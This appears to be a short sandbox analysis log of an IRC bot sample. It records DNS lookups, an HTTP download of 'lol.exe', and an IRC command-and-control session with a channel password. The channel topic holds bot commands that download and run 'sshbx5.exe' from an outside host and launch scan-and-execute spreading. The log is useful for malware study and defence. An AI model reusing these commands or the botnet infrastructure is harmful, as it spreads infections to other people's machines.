– DNS Queries:serv01.colo.owned.hu DNS_TYPE_A 87.234.140.73 1
foro.melodiasmoviles.com DNS_TYPE_A 1
– HTTP Conversations:
From ANUBIS:1033 to 74.52.56.242:80 – [foro.melodiasmoviles.com]
Request: GET /…/lol.exe
Response: 200 “OK”
– IRC Conversations:
87.234.140.73:31091
Nick: user|61
Username: user|61
Joined Channel: #support# with Password syslock
Channel Topic for Channel #support#: “! dlx foro.melodiasmoviles.com/…/sshbx5.exe;! scanexec tty1.exe $ip 0”